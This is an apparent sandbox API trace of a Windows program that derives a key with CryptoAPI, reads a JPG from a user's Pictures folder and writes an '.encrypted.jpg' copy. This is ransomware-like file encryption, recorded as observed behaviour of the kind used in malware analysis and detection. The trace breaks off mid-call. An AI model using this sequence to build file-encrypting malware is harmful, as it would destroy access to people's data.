PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.922] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.922] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.922] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.922] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.923] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.923] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0028.923] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.923] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.923] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.923] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.924] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.924] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.924] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.924] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.924] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.924] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.924] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0028.924] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.925] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.925] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b7e0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.925] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.925] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.925] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.925] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.925] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.925] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.925] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0028.926] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.927] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\te2rouvkbps_rbxzkve.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.927] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.927] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.927] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.928] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures")) returned 0x11 [0028.928] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\Te2roUvKBps_RBXzkVE.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\te2rouvkbps_rbxzkve.encrypted.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.928] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.930] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.930] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0028.931] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x2e22, lpOverlapped=0x0) returned 1 [0028.932] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.934] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.934] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.935] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.935] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.935] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.936] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.936] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.936] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.936] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.936] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.937] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.937] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064ae0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ae0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 